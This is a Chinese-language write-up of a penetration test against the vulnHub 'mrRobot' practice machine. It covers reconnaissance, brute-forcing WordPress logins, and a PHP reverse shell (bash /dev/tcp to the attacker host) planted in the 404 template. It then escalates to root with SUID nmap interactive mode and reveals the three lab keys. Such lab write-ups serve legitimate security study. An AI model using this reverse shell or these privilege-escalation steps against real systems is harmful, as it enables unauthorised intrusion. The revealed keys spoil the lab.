vulnhub-mrRobot靶机的测试报告

news2024/11/18 16:52:47

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、信息搜集

2、渗透网页

3、Getshell

4、提权

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.202.134)

靶  机:linux 3.13.0-55-generic #94-Ubuntu SMP

2、使用工具/软件

Kali:arp-scan(主机探测)、nmap(端口服务扫描)、dirsearch(目录扫描)、burp suite(爆破用户名和密码)、nc(反弹shell连接)

测试网址:http://192.168.202.146

二、测试目的

渗透mrRobot靶机,找到三个txt文件,分别是:key-1-of-3.txt、key-2-of-3.txt和key-3-of-3.txt。通过字典泄露,爆破出用户名和密码,在后台中写入反弹shell的后门getshell,利用nmap的root权限,成功root权限

三、操作过程

1、信息搜集

找到靶机的IP地址:192.168.202.146

arp-scan -l

Nmap扫描靶机开放的端口和服务

nmap -sS -A -T4 -p- 192.168.202.146

扫描发现22端口关闭了,看来这个靶场不能进行ssh登录了

只能从web入手了,http和https页面提供内容是一样的

扫描web目录

是用dirsearch扫的,用gobuster必须加字典,字典太大了,用dirsearch扫常用目录即可

dirsearch -u http://192.168.202.146/ -i 200,301 --exclude-sizes=0B

发现这是wordpress

2、渗透网页

Wordpress默认账密登不上去,甚至是没有admin用户,看来是将admin用户删除了,有一定安全意识,那么弱口令看来是不大可能了

网站主页面的游戏,尝试了也没有什么收获,只回复命令,或者播放视频,没有什么有用的信息

查看下扫到的敏感目录文件

Intro页面是一个视频,看起来是网页资源;robots.txt文件,和靶机名字有些相似

Robots.txt文件用于指示搜索引擎爬虫哪些网站页面可以或不能被索引。

通常有disallow或者allow的前缀,后面是指定目录

果然有些发现,这里有其中一个key的目录和一个fsocity.dic的文件

查看key-1-of-3.txt文件,得到第一个key1:073403c8a58a1f80d943455fb30724b9

访问这个fsocity.dic文件,发现是一行行分开的,联想到dic的后缀名,这个格式,想到这应该是个字典

将字典保存为dict.txt文件,可以爆破的地方只有一个wordpress了

Wordpress有个特点,找回密码的页面可以输入用户名找回,这里可以枚举出存在的用户名,只给用户名添加变量即可

足足有85万条数据。。。。,吓人的数据量了。。这尝试爆一个数据就要一个下午。

不过,靶场作者还是放水的,数据中有大量的重复数据,这里爆破发现1w条左右就会有重复数据出现,只要对数据进行去重,相信字典并没有实际的那么大

 

Python去重脚本如下:

去重得到的result.txt,大小直接小了79倍,哈哈;现在爆破起来就轻松多了

爆破出了elliot

尝试一下,果然跳转页面了,这是一个用户名

然后在登录页面爆破密码试试,这次给密码加爆破变量就行,字典还选result.txt

爆破结果:ER28-0652

尝试wordpress登录,成功登录!

用户名:elliot

密码:ER28-0652

3、Getshell

拿到wordpress的用户管理界面

可以通过修改页面内容进行访问;
思路是:添加反弹shell脚本,然后进行访问,进行反弹shell连接,可以得到shell;由于wordpress就是php写的后端,因此,找一个可修改并访问的php页面即可;

先修改一下wordpress的中文

Settings==》general==》language

在外观的编辑中,看到了很多php文件,直接修改404页面的源代码并保存试试

添加反弹shell成功!

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.202.134/666 0>&1'"); ?>

尝试kali反弹shell连接

nc -lvvp 666

网页端访问404页面

http://192.168.202.146/wp-admin/404.php

成功getshell!

4、提权

进行常规漏洞点寻找,没有收获

查找suid权限文件时,看到有nmap;

早期nmap版本中,有交互模式,允许用户执行shell命令,可以用来提权
提权命令总结网站:

nmap | GTFOBins

版本:nmap2.02至5.21    这里版本是3.81,符合提权条件

利用suid提权成功!nmap执行shell将以root身份运行

/usr/local/bin/nmap –interactive   

!sh

现在查找一下另外两个key

find / -name 'key-2-of-3.txt' 2>/dev/null
find / -name 'key-3-of-3.txt' 2>/dev/null

查看两个key,分别是:

Key2:822c73956184f694993bede3eb39f959

Key3:04787ddef27c3dee1ee161b21670b4e4

四、结论

放在公网的Web资源一定要谨慎检查,不能有用户名和密码泄露,这样降低了系统安全性。特殊权限的文件如Suid权限的文件的一定管理好,不能有nmap这样的可用来提权的文件,避免对系统造成危害。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2184135.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

复习HTML(基础)

目录 HTML含义 HTML作用 HTML的常用元素 元素的特点 元素的分类 1 是否嵌套关系 2 是否独占一行 块元素&#xff1a;独占一行 行内元素&#xff1a;共享一行 行内元素与块级元素的转换 3是否有结束标签 常用标签 1 标题标签&#xff1a;有六级 我们用h1 ~h6 表…

国产化系统/鸿蒙开发足浴店收银源码-收缩左侧———未来之窗行业应用跨平台架构

一、左侧展开后 二、代码 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head><title></title><meta http-equiv"Content-Type" content"text/html; charsetUTF-8"><style t…

PHP安装后Apache无法运行的问题

问题 按照网上教程php安装点击跳转教程&#xff0c;然后修改Apache的httpd.conf文件&#xff0c;本来可以运行的Apache&#xff0c;无法运行了 然后在"C:\httpd-2.4.62-240904-win64-VS17\Apache24\logs\error.log"&#xff08;就是我下载Apache的目录下的logs中&am…

查看 git log的过程中看到 :说明日志输出可能超出屏幕大小,系统进入了分页模式

在命令行提示符中&#xff0c;通常 : 表示系统等待进一步的输入。如果你在查看 git log 的过程中看到 :&#xff0c;说明日志输出可能超出屏幕大小&#xff0c;系统进入了分页模式&#xff0c;默认使用 less 命令查看内容。 此时你可以&#xff1a; 按 q 退出日志查看。按 En…

通信工程学习:什么是NFS网络文件系统

NFS&#xff1a;网络文件系统 NFS&#xff08;Network File System&#xff09;&#xff0c;即网络文件系统&#xff0c;是一种用于在计算机网络上共享文件的协议。它允许一个计算机系统通过网络将其文件和存储设备共享给其他计算机系统&#xff0c;使得这些系统可以像访问本地…

deepin 无线网络搜不到信号

搜索不到wifi信号和无法连接wifi&#xff0d;论坛&#xff0d;深度科技 (deepin.org)https://bbs.deepin.org/zh/post/218198

【含文档】基于Springboot+Vue的果蔬种植销售一体化服务平台(含源码+数据库+lw)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 系统定…

前端工程化17-邂逅原生的ajax、跨域、JSONP

5、邂逅原生的ajax 5.1、什么是ajax AJAX 全称为Asynchronous Javascript And XML&#xff0c;就是异步的 JS 和 XML。通过AJAX可以在浏览器中向服务器发送异步请求&#xff0c;最大的优势&#xff1a;页面无刷新获取数据。AJAX 不是新的编程语言&#xff0c;而是一种将现有的…

将脚本编译为pyd文件

Python虽然作为一种解释性语言&#xff0c;通常是使用解释器处理脚本的方式完成工作&#xff0c;但是也具有和很多其他诸如C、C#语言等类似的方式&#xff0c;可以将.py文件编译为*.pyd文件&#xff0c;即Python动态链接库文件。 关于动态链接库的优缺点这里就不展开细说了&…

Android Studio Dolphin 中Gradle下载慢的解决方法

我用的版本Android Studio Dolphin | 2021.3.1 Patch 1 1.Gradle自身的版本下载慢 解决办法&#xff1a;修改gradle\wrapper\gradle-wrapper.properties中的distributionUrl 将https\://services.gradle.org/distributions为https\://mirrors.cloud.tencent.com/gradle dis…

【测试类文档整理】软件项目测试方案(word)

1. 引言 1.1. 编写目的 1.2. 项目背景 1.3. 读者对象 1.4. 参考资料 1.5. 术语与缩略语 2. 测试策略 2.1. 测试完成标准 2.2. 测试类型 2.2.1. 功能测试 2.2.2. 性能测试 2.2.3. 安全性与访问控制测试 2.3. 测试工具 3. 测试技术 4. 测试资源 4.1. 人员安排 4.…

查缺补漏----程序查询方式和中断方式计算题

1.程序查询方式 总结下来就是&#xff1a; 必须在外设传输完端口大小的数据时访问端口&#xff0c;以防止数据未被及时读出而丢失。 占CPU总时间&#xff1a;就是某段时间内设备用了多少时钟周期/PCU有多少个时钟周期 CPU的时钟周期数&#xff1a;就看主频&#xff0c;主频表示…

记录Mybatis分页查询排序问题: Encountered unexpected token: “and“ “AND“

通过Page.addOrder设置了字段排序 执行的时候在 com.baomidou.mybatisplus.extension.plugins.inner.PaginationInnerInterceptor#autoCountSql 方法中执行 CCJSqlParserUtil.parse Select select (Select) CCJSqlParserUtil.parse(sql);报错&#xff1a; failed to concat o…

YOLOv1–v11: 版本演进及其关键技术解析

最新消息&#xff1a;Yolo11发布最新版本2024.10 YOLO (You Only Look Once) 是一种高效的目标检测算法&#xff0c;自其初代发布以来&#xff0c;经过多次迭代&#xff0c;逐步提升了检测速度和精度。本文将详细介绍 YOLO 从 v1 到 v11 的各个版本&#xff0c;涵盖每个版本的发…

高性价比PCB分板机高速主轴SycoTec 4025 HY

德国 SycoTec 4025 HY 迷你型高速主轴以其悠久的历史、卓越的性能、良好的散热和长寿命&#xff0c;成为PCB分板的高性价比选择。 一、4025 HY亮点 1.悠久历史与 拥有 50 多年的应用历史&#xff0c;被称为 “主轴之母”&#xff0c;充分证明了其在行业中的可靠性和稳定性。 …

人工智能 | 手工测试用例转Web自动化测试生成

简介 在传统编写 Web 自动化测试用例的过程中&#xff0c;基本都是需要测试工程师&#xff0c;根据功能测试用例转换为自动化测试的用例。市面上自动生成 Web 或 App 自动化测试用例的产品无非也都是通过录制的方式&#xff0c;获取操作人的行为操作&#xff0c;从而记录测试用…

迎国庆,开源完全免费工作流引擎AntFlow 0.9最强版本发布,支持tidb,提升易用性and more...

AntFlow是一款前端仿钉钉的企业级工作流引擎。后端既可嵌入到现有业务系统&#xff0c;也可以做为独立的流程引擎中台部署&#xff08;SAAS模式&#xff09;。嵌入业务系统模式已经在笔者所在企业使用多年&#xff0c;功能丰富&#xff0c;能适多种国产办公场景&#xff1b;简单…

sql-labs靶场第一关测试报告

目录 一、测试环境 1、系统环境 2、使用工具/软件 二、测试目的 三、操作过程 1、寻找注入点 2、注入数据库 ①Order by判断列数 ②判断回显地方 ③爆库&#xff0c;查看数据库名称 ④爆表&#xff0c;查看security库的所有表 ⑤爆列&#xff0c;查看users表的所有…

【CKA】五、网络策略–NetworkPolicy

5、配置网络策略–NetworkPolicy 1. 考题内容&#xff1a; 2. 答题思路&#xff1a; 1、根据题目分析要创建怎样的网络策略 2、按题目要求查看ns corp-net的label 3、编写yaml&#xff0c;其中注意 namespace、label、port 3. 官网地址&#xff1a; https://kubernetes.io/…

【EXCEL数据处理】000011 案列 EXCEL带有三角形图标的单元格转换

前言&#xff1a;哈喽&#xff0c;大家好&#xff0c;今天给大家分享一篇文章&#xff01;创作不易&#xff0c;如果能帮助到大家或者给大家一些灵感和启发&#xff0c;欢迎收藏关注哦 &#x1f495; 目录 【EXCEL数据处理】000011 案列 EXCEL带有三角形图标的单元格转换。使用…